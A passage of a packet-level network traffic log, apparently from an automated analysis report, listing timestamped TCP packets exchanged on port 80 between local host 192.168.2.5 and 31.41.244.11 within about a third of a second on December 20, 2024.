Dec 20, 2024 13:12:13.055277109 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.056292057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.056344986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.056493044 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.056577921 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.057349920 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.057408094 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.057574987 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.057620049 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.058453083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.058521032 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.058737040 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.059604883 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.059659958 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.059762001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.059812069 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.060693979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.060750008 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.061180115 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.061247110 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.061858892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.061985016 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.062019110 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.062064886 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.062942028 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.063208103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.063226938 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.063255072 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.064080954 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.064224005 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.064294100 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.065248966 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.065305948 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.065418005 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.065469980 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.066378117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.066669941 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.066724062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.067398071 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.067456961 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.067946911 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.068003893 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.068568945 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.068629980 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.202517986 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.202635050 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.202749968 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.202878952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.203016996 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.203035116 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.203068972 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.203093052 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.204128027 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.204370975 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.204426050 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.205218077 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.205272913 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.205971003 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.206022024 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.206384897 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.206433058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.206500053 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.206548929 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.207504988 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.207560062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.207771063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.207824945 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.208792925 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.208844900 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.208889961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.208941936 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.209743977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.209759951 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.209794044 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.209811926 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.210833073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.211008072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.211059093 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.211993933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.212008953 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.212047100 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.212079048 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.213129044 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.213408947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.213455915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.214225054 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.214493990 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.214548111 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.215301991 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.215356112 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.215418100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.215470076 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.216403961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.216451883 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.216491938 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.216563940 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.217580080 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.217632055 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.217927933 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.217983961 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.218745947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.218792915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.219671965 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.219724894 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.219826937 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.219877958 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.219913960 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.219964981 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.220913887 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.220967054 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.221050024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.221105099 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.222027063 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.222306013 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.222357035 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.223161936 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.223213911 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.223740101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.223790884 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.224267960 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.224318981 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.224361897 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.224411964 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.225502968 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.225553036 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.225747108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.225795031 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.226558924 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.226656914 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.226732969 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.227672100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.227726936 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.227801085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.227854967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.228811979 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.228868008 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.228871107 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.228919983 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.229868889 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.229922056 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.230176926 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.231025934 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.231080055 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.231175900 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.231226921 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.232088089 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.232140064 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.232351065 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.232402086 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.233211994 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.233264923 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.233458042 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.233509064 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.234385967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.234410048 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.234441042 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.234463930 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.235456944 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.235507965 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.235707045 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.235759020 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.236676931 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.236728907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.236880064 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.236953020 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.237715006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.237730026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.237765074 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.237786055 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.238836050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.239428043 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.239481926 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.239922047 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.239978075 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.240056038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.240111113 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.241105080 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.241158009 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.241955996 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.242011070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.242213011 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.242265940 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.242567062 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.242616892 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.243341923 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.243393898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.244441032 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.244477034 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.244491100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.244492054 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.244518042 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.244539976 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.245558977 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.245584965 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.245640993 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.246697903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.247402906 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.247477055 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.247765064 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.247814894 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.248874903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.248928070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.248949051 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.248964071 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.249000072 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.249017954 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.250005960 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.250180960 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.250231981 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.251240015 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.251291990 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.252309084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.252355099 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.252362967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.252371073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.252398968 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.252422094 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.253443003 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.253628969 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.253681898 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.254538059 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.255620003 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.255634069 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.255659103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.255676031 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.255703926 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.256992102 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.257105112 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.257154942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.257877111 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.258215904 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.258371115 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.258424997 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.258958101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.259011030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.259963989 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.260015011 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.260441065 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.260456085 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.260494947 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.261224985 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.261276007 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.395102024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.395179987 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.395235062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.395263910 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.395741940 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.395801067 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.395950079 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.395999908 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.397066116 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.397119045 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.397144079 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.397193909 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.397865057 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.397922039 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.398297071 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.398947954 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.399003029 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.399354935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.399409056 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.400124073 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.400177956 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.400624037 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.400677919 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.401307106 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.401321888 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.401360989 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.402575016 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.403340101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.403387070 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.403410912 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.403413057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.403439999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.403476000 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.404555082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.404620886 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.404694080 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.404755116 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.405653000 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.405715942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.406208038 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.406291962 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.406835079 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.406920910 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.406986952 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.407907009 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.407978058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.408911943 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.408983946 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.409038067 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.409054041 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.409094095 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.409117937 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.410387993 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.410403013 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.410465956 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.411259890 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.411402941 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.411477089 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.412434101 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.412504911 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.412640095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.412720919 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.413558006 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.413618088 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.414241076 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.414310932 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.414762020 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.414828062 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.414865017 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.414915085 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.415743113 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.415818930 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.416111946 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.416174889 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.416836023 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.416907072 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.416950941 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.417007923 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.418020964 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.418080091 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.418335915 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.419118881 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.419166088 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.419296980 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.419348001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.420373917 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.420437098 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.420501947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.420552015 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.421348095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.421400070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.421732903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.421788931 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.422470093 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.422522068 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:13.422969103 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.423561096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:13.423609018 CET	49831	80	192.168.2.5	31.41.244.11
